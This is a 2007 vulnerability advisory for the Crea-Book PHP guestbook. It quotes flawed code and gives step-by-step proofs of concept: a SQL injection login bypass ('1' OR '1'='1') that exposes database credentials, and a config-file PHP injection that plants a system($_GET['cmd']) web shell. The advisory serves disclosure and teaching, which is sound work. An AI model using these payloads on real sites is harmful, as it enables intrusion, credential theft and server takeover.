creabook-bypass.txt
Posted on 11 April 2007
/=======================================\n| Advisory :: Crea-Book <= 1.0 | +=======================================+---------------------------------------------------------------\n| | | Download link : http://www.comscripts.com/scripts/php.creabook.1359.html | | Type : Guestbook | | Vuln. found : Admin Access Bypass, DB information Disclosure & Code Execution Weakness | | Conditions : magic_quotes_gpc = Off | | Risk level : High | | | +-------------------------------------------------------------------------------------------------------+ | | | Program audited by : Xst3nZ <xst3nz@gmail.com> [fr/en] | | Date : 2007-04-10 | | Last update : 2007-04-10 | | | +-------------------------------------------------------------------------------------------------------+ | Summary : 0] Description | | 1] Vuln#1 : Administrative Access Bypass using basic SQL injection | | 2] Vuln#2 : PHP Code Execution Weakness | | 3] Links & Documentation | -------------------------------------------------------------------------------------------------------/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= <0> DESCRIPTION =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This script is old but analysing it is a good way to understand some classic security holes in web applications. It's just a good and fast training. Let's g0 ... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= <1> VULNERABILITY #1 : ADMINISTRATIVE ACCESS BYPASS USING BASIC SQL INJECTION { Concerned file : admin/admin.php } { Cond: magic_quotes_gpc=Off } =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= If we open the file 'admin/admin.php', we can see that the following code is executed after the submission of the login authentification form : +--------8<-------- | // [...] line 8 | $sql="Select * from $table2 where pseudo='$pseudo' and passe='$passe'"; | // By the way, we can notice that the script works only if register_globals=On | $res=mysql_query($sql); | $nb=mysql_num_rows($res); | if ($nb>0) | { | // Login OK [...] | } | else | header("Location: index.php?erreur=2"); | // line 208 (EOF) +--------8<-------- In fact, the variables called $pseudo and $passe aren't sanitized and so, it is possible to bypass easily the authentification by using a basic SQL injection (see [1]). Nevertheless, single quotes must be used in this injection. Therefore, the magic_quote_gpc parameter must be disabled (Off) in the php.ini configuration file. +---->> Vuln. #1 Pro0f of Concept <<-------- | | - Go to : http://www.victim.com/[install_directory]/admin/admin.php | - Type the following string in the two fields : | | Pseudo (login) : evil | | Mot de passe (password) : 1' OR '1'='1 | - If magic_quotes_gpc=Off, you are now logged as admin. So, you have access to the control panel. | - Let's go to the section called 'Configurer le script' (configure the script). In this page, you can see | all the different informations required to connect to the MySQL server (DataBase Information Disclosure) | +-------------------------------------------// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= <2> VULNERABILITY #2 : PHP CODE EXECUTION WEAKNESS { Concerned file : admin/configurer2.php } { Cond: magic_quotes_gpc=Off, admin access OK } =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The file 'admin/configurer2.php', which is used when the configuration form is submitted, contains the following code : +--------8<-------- | // [...] line 95 | $fichier = fopen("../config.inc.php3","w+") OR die ("...");; | fwrite($fichier, "<?php ") or die ("..."); | fwrite($fichier, "// Infos de connexion la base de données $"); | fwrite($fichier, "bddserver = "$bddserver"; $"); | // [...] | fwrite($fichier, "mess_fin = "$mess_fin"; "); | fwrite($fichier, "?>"); | fclose($fichier); | // line 125 +--------8<-------- So, all the information which are typed in the form are written in a PHP file called 'config.inc.php3' without any verification before. Consequently, a malicious person which have an admin access (easy with the vuln #1) can put what she wants in the file in question (only if magic_quotes_gpc=Off because double quotes are used). Let's see an example in the next PoC : +---->> Vuln. #2 Pro0f of Concept <<-------- | | - Log in as admin on 'admin/admin.php' (see Vuln. #1 PoC). | - Go to 'admin/configurer.php'. | - Type the following string in one of the fields : value"; [Malicious PHP code]; $nothing=" | Example with the fields 'Fond de la page' (background color) : #FFFFFF"; system($_GET['cmd']); $nothing=" | that gives : $fond = "#FFFFFF"; system($_GET['cmd']); $nothing=""; | +-------------------------------------------// Note : the file 'install/index.php' isn't deleted after the installation and it contains the same configuration form. But, database information (login, password, DB name, server name) are required to write data into the PHP file... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= <3> LINKS & DOCUMENTATION =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [1] SQL injection Attacks by Example (good) http://www.unixwiz.net/techtips/sql-injection.html // [EOF] Xst3nZ
